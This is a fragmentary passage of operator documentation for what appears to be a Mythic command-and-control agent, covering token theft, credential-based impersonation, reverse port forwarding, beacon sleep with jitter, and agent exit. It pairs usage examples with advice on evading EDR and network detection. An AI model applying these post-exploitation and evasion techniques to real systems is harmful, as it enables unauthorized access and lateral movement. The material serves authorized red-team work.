|
|
5678 explorer.exe User DESKTOP-ABC SeChangeNotifyPrivilege
|
|
```
|
|
|
|
**OPSEC Considerations:**

|
|
|
|
### `steal_token` - Steal Process Token
|
|
|
|
Steal and impersonate the security token from a target process.
|
|
|
|
**Syntax:**
|
|
```
|
|
steal_token <pid>
|
|
```
|
|
|
|
**Parameters:**
|
|
- `pid` (required): Process ID of the process to steal the token from.
|
|
|
|
**Examples:**
|
|
```
|
|
steal_token 1234
|
|
steal_token 5678
|
|
```
|
|
|
|
**Features:**
|
|
- Opens the target process, extracts its token, and impersonates it to assume the security context (user, privileges, groups) of that process
|
|
- Compatible with Mythic Process Browser for interactive token theft
|
|
- The impersonation context is automatically tracked and displayed in the Mythic UI
|
|
- CRITICAL OPSEC RISK: Token theft is heavily monitored by EDR/XDR solutions, especially when targeting LSASS or other critical processes
|
|
- Always requires approval from another operator
|
|
- Prefer `make_token` for domain credentials when possible
|
|
|
|
**Output:**
|
|
```
|
|
[steal_token] Token stolen from process: explorer.exe (PID: 1234)
|
|
[steal_token] Impersonating user: DESKTOP-ABC\User
|
|
```
|
|
|
|
**OPSEC Considerations:**
|
|
- **CRITICAL OPSEC RISK**: Token theft is heavily monitored
|
|
- Targeting LSASS or critical processes triggers high-priority alerts
|
|
- Always requires operator approval (OPSEC pre-check blocks execution)
|
|
- Process access is logged by EDR/XDR solutions
|
|
- Consider using `make_token` instead when you have credentials
|

|
|
|
|
### `make_token` - Create Token from Credentials
|
|
|
|
Create a new security token using plaintext credentials and impersonate it.
|
|
|
|
**Syntax:**
|
|
```
|
|
make_token <domain> <username> <password> [logon_type]
|
|
```
|
|
|
|
**Parameters:**
|
|
- `domain` (required): Domain name (or empty string for local machine)
|
|
- `username` (required): Username to authenticate as
|
|
- `password` (required): Password for authentication
|
|
- `logon_type` (optional): Logon type (default: 9 - NewCredentials)
|
|
|
|
**Examples:**
|
|
```
|
|
make_token "" Administrator P@ssw0rd123
|
|
make_token DOMAIN user01 MyPassword
|
|
make_token WORKGROUP localuser Secret123 9
|
|
```
|
|
|
|
**Features:**
|
|
- Authenticates with the provided domain (or local machine if empty), username, and password using LogonUser API
|
|
- The logon_type parameter (default: 9 - NewCredentials) determines the authentication type
|
|
- The impersonation context is automatically tracked and displayed in the Mythic UI
|
|
- Less detectable than `steal_token` as it doesn't require accessing LSASS memory, but may still generate authentication logs
|
|
- Use `rev2self` to revert to the original token
|
|
|
|
**Output:**
|
|
```
|
|
[make_token] Creating token for: DOMAIN\User01
|
|
[make_token] Authentication successful
|
|
[make_token] Impersonating user: DOMAIN\User01
|
|
```
|
|
|
|
**OPSEC Considerations:**
|
|
- Authentication events are logged by Windows Event Log
|
|
- Less detectable than token theft, but still generates logs
|
|
- Authentication failures may trigger alerts
|
|
- Use `rev2self` after completing operations to reduce detection risk
|
|
|
|

|
|
rpfwd {"action":"stop","port":8080}
|
|
```
|
|
|
|
**Parameters:**
|
|
- `action` (required): Either `"start"` or `"stop"`
|
|
- `port` (required for start): Local port on the agent to listen on (default: 8080)
|
|

|
|
rpfwd {"action":"stop","port":8080}
|
|
```
|
|
|
|
**Features:**
|
|
- When started, the agent listens on a local port on the target system
|
|
- Connections to this local port are forwarded through the agent to Mythic, which then connects to a remote destination (remote_host:remote_port)
|
|
- Default local port: 8080
|
|
- Useful for accessing services on the target network that are not directly reachable from Mythic (e.g., internal services, databases, management interfaces)
|
|
- WARNING: Reverse port forwarding creates persistent network connections and may be detected by network monitoring, firewall logging, NIDS, and EDR/XDR network monitoring
|
|
- Avoid using privileged ports (<1024) which require elevated privileges
|
|
|
|
**Output:**
|
|
```
|
|
[rpfwd] Reverse port forwarding started on port 8080
|
|
[rpfwd] Forwarding connections to: 192.168.1.100:80

## Control Commands
|
|
|
|
### `sleep` - Adjust Beacon Interval
|
|
|
|
Change the agent's sleep interval (check-in frequency) and optional jitter percentage.
|
|
|
|
**Syntax:**
|
|
```
|
|
sleep {"seconds":30,"jitter":10}
|
|
```
|
|
|
|
**Parameters:**
|
|
- `seconds` (required): Sleep interval in seconds
|
|
- `jitter` (optional): Jitter percentage (0-100)
|
|
|
|
**Examples:**
|
|
```
|
|
sleep {"seconds":30,"jitter":10}
|
|
sleep {"seconds":60}
|
|
sleep {"seconds":10,"jitter":30}
|
|
```
|
|
|
|
**Features:**
|
|
- The sleep interval determines how long the agent waits between check-ins with the Mythic server
|
|
- Jitter adds random variation to the sleep interval to avoid predictable timing patterns
|
|
- Lower sleep values provide more responsive interaction but increase network activity and detection risk
|
|
- Higher sleep values reduce detection risk but make the agent less responsive
|
|
- Jitter helps evade behavioral detection based on timing analysis
|
|
|
|
**Output:**
|
|
```
|
|
[sleep] Sleep interval set to: 30 seconds
|
|
[sleep] Jitter set to: 10%
|
|
```
|
|
|
|
**Recommendations:**
|
|
- **Initial deployment**: 30-60 seconds with 10-30% jitter
|
|
- **Interactive operations**: 5-10 seconds with 10-20% jitter
|
|
- **Stealth mode**: 60-120 seconds with 20-40% jitter
|
|

|
|
```
|
|
|
|
**Features:**
|
|
- The agent will perform cleanup operations and then terminate its process
|
|
- This command is permanent - the agent will stop running and will not check in again
|
|
- Use this command when you want to remove the agent from the target system or when operational requirements dictate agent termination
|
|
- Compatible with Mythic's callback table exit functionality
|
|
|
|
**Output:**
|
|
```
|
|
[exit] Terminating agent...
|
